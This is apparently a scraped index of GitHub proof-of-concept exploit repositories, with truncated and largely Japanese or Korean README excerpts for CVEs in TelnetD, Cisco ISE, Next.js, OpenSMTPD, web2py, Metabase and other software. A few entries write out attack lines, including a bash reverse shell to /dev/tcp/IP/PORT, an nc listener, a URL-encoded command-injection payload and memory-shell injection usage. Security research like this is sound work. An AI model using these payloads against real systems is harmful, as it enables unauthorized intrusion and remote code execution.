ForgottenButNotGone

忘れられたが、消えてはいない このリポジトリには、Black Hat USA 2026 および DEF CON 34 で発表された講演「Forgotten but Not Gone: Unauthenticated RCEs and LPEs in Legacy Linux Services」で紹介された脆弱性の概念実証スクリプトが含まれています。 CVE-2026-28372 TelnetD におけるローカル権限昇格: 非特権攻撃者は、TelnetD の環境変数機能を悪用して、root 権限のシェルを取得できます。設計上およびその RFC に従い、Telnet...

spring_cloud_gateway_memshell

CVE-2022-22947 memshell このスクリプトは不完全で、学習用途のみです。不正に使用しないでください。 c0ny1 氏のブログを基に作成した学習用スクリプトで、netty と spring のメモリシェルを書き込むことができます。 テスト環境は vulhub です。 eg:xx.py http://127.0.0.1:8080 netty whoami...

vulnx

VulnX Vulnx 🕷️는 여러 유형의 Cms에서 취약점을 탐지하는 지능형 봇 자동 셸 인젝터입니다 https://github.com/anouarbensaad/vulnx/archive/master.zip VulnX 위키 • 사용 방법 • 호환성 • 라이브러리 • Vulnx 는 여러 유형의 Cms에서 취약점을 탐지하는 지능형 봇 자동 셸 인젝터입니다. 빠른 cms 탐지, 정보 수집, 대상의 하위 도메인, IP 주소, 국가, 조직, 시간대, 지역, ans 등에 대한 취약점 스캐닝을 수행합니다. 다른 도구들이 수동으로 셸을 하나씩...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE Cisco ISE API に対する CVE-2025-20281 RCE の未認証 Python PoC CVE-2025-20281 未認証 PoC Cisco ISE の ERS API CVE-2025-20281 における未認証 RCE を悪用し、InternalUser リソースに任意のシェルコマンドを注入する、最小限の Python プルーフオブコンセプトです。 警告: 自分が所有するシステム、または明示的なテスト許可があるシステムに対してのみ実行してください。このツールの不正使用は違法です。 機能 認証不要...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 の脆弱性スキャンおよびエクスプロイトツール。Next.js アプリケーションのリモートコード実行脆弱性を対象としています。バッチ検出、コマンド実行、哥斯拉メモリシェル注入、リバースシェル機能をサポートします。 ⚠️ 本ツールはセキュリティ研究および許可されたテスト目的でのみ使用してください。不正使用は禁止です。 特徴 マルチターゲットスキャン ：単一URL、ファイルリスト（1行1URL）、複数の.txtファイルを含むフォルダをサポート。 マルチスレッド並行処理...

CVE-2025-13780

CVE-2025-13780: pgAdmin 4 = 8.14 RCE スキャナー CVE-2025-13780 用の包括的な脆弱性スキャナーです。これは pgAdmin 4 バージョン ≤ 8.14 におけるリモートコード実行 RCE 脆弱性です。 🔍 脆弱性の詳細 この脆弱性は pgAdmin 4 の 復元 Restore 機能に存在します。アプリケーションは正規表現を用いて危険なシェルコマンド（\ で始まるもの）をブロックしようとします。しかし、このチェックは回避可能です。 脆弱な正規表現 : ^|\n \t\ 回避方法 : 1. UTF-8 BOM : \xef\xbb\xbf...

CVE-2026-30225-OliveTin-RCE

OliveTin — 未認証アクション実行 → RCE（+ CVE-2026-30225） OliveTin のインスタンスが同梱のゲストデフォルト設定で実行されている場合の、権限昇格／リモートコード実行（RCE）に対するPoC。root として実行されている OliveTin 3000.10.0 （HTB: Enigma ）で検証済みであり、未認証の root シェルを取得できます。 ⚠️ 許可されたテストのみ。...

GL.iNet-Multiple-Vulnerabilities

GL.iNet の複数の脆弱性 このリポジトリには、以下の脆弱性のエクスプロイトが含まれています： CVE-2023-46454: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、パッケージ情報機能で細工されたパッケージ名を介して任意のシェルコマンドを注入することが可能です。 CVE-2023-46455: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、OpenVPN クライアントのファイルアップロード機能でパストラバーサル攻撃を介して任意のファイルを書き込むことが可能です。 CVE-2023-46456:...

spinnaker-poc

Spinnaker 脆弱性 POC CVE-2026-32604 および CVE-2026-32613 の概念実証デモです。これらは Spinnaker における深刻度 10.0 の脆弱性で、コード実行と本番クラウド認証情報の窃取を可能にします。 これらの POC の使い方に関するビデオチュートリアル 詳細な技術ブログ 脆弱性 Git クローンシェルインジェクション CVE-2026-32604, CWE-78 Clouddriver のアーティファクト取得エンドポイントは、HTTP ベースの Git 認証を使用する際に、ユーザー指定のブランチ名をサニタイズせずに sh -c...

poc-yaws-cgi-shell-injection

Yaws WebサーバーにおけるOSコマンドインジェクション CVE-2020-24916 概念実証 テストイメージをビルド: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . および/または コンテナを実行 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi curl...

CVE-2022-22947

CVE-2022-22947 メモリシェル注入 3種類のメモリシェル注入をサポート Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url Godzillaシェル注入を例として python3 -t godzilla -u http://127.0.0.1 参考記事...

CVE-2023-45158

CVE-2023-45158 手順 1. Webサーバーを起動します cd web2py python3 web2py.py 2. URL http://:8000/hack?msg=%27%3B%3B%27 を使用してコマンドを注入します。 と を各自の値に置き換えてください。 使用例 1. サーバー上にファイルを作成します http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. リバースシェル 攻撃者のマシンで nc -l 127.0.0.1 8080 を実行します URL...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

CVE-2025-55182

CVE-2025-55182 エクスプロイト React Server ComponentsのCVE-2025-55182における脆弱性を悪用し、アプリケーションにシェルを注入するシンプルなPythonスクリプトです。このスクリプトはNext.jsバージョン16.0.6でテストされています。 使用方法 リポジトリをクローン git clone https://github.com/ahmedshamsddin/CVE-2025-55182 脆弱なアプリケーションを実行 cd CVE-2025-55182/vulnerable-app npm install npm run dev...

EUVD-2026-88629

shell-quote: quote command injection via a line terminator in a token after a comment token...

EUVD-2026-91767

@nx/docker: OS command injection in the @nx/docker release pipeline...

poc-rebar3

Rebar3 シェルインジェクション CVE-2020-13802 概念実証 git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean クレジット Alexey Pronin @vulnbe 参考文献 Rebar3 の脆弱性分析 脆弱性是正 PR CVE-2020-13802 CWE-78: OSコマンドで使用される特殊要素の不適切な無効化（'OSコマンドインジェクション'）...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE ツール CVE-2023-38646 RCE グラフィカル利用ツール 検証モジュール 指定されたURLを入力すると、未認証Tokenを検出できます コマンド実行 このモジュールを使用するには、まず検証モジュールを実行してtokenを取得する必要があります JarLocation：metabase.jarの場所、デフォルトはカレントディレクトリ メモリシェル注入 現時点ではcmdとgodzillaモードのみ実装されており、x-client-dataで制御します x-client-data:cmd...

CVE-2026-34234-Lab

CVE-2026-34234 - CtrlPanel インストーラー RCE ラボ CtrlPanel の CVE-2026-34234 を実証するためのローカル Docker ラボです。 このリポジトリは以下を比較します: vuln: ダイジェストで固定された CtrlPanel 1.1.1 patched: ダイジェストで固定された CtrlPanel 1.2.0 このラボはローカルのみで動作し、サービスは 127.0.0.1 にバインドされます。 概要 CVE-2026-34234 は、CtrlPanel の Web インストーラーにおける認証なし RCE です。...

CVE-2012-2982-Webmin-Exploit

Webmin 1.590 リモートコマンド実行エクスプロイト CVE-2012-2982 概要 このリポジトリには、Webmin バージョン 1.590 以前 に影響するリモート認証済みコマンド実行の脆弱性である CVE-2012-2982 の Proof-of-Concept PoC エクスプロイトが含まれています。この脆弱性は /file/show.cgi エンドポイントに存在し、攻撃者は操作したリクエストに特殊文字（| パイプ記号など）を注入することで任意のコマンドを実行できます。 本 PoC は教育およびセキュリティ研究目的のみ...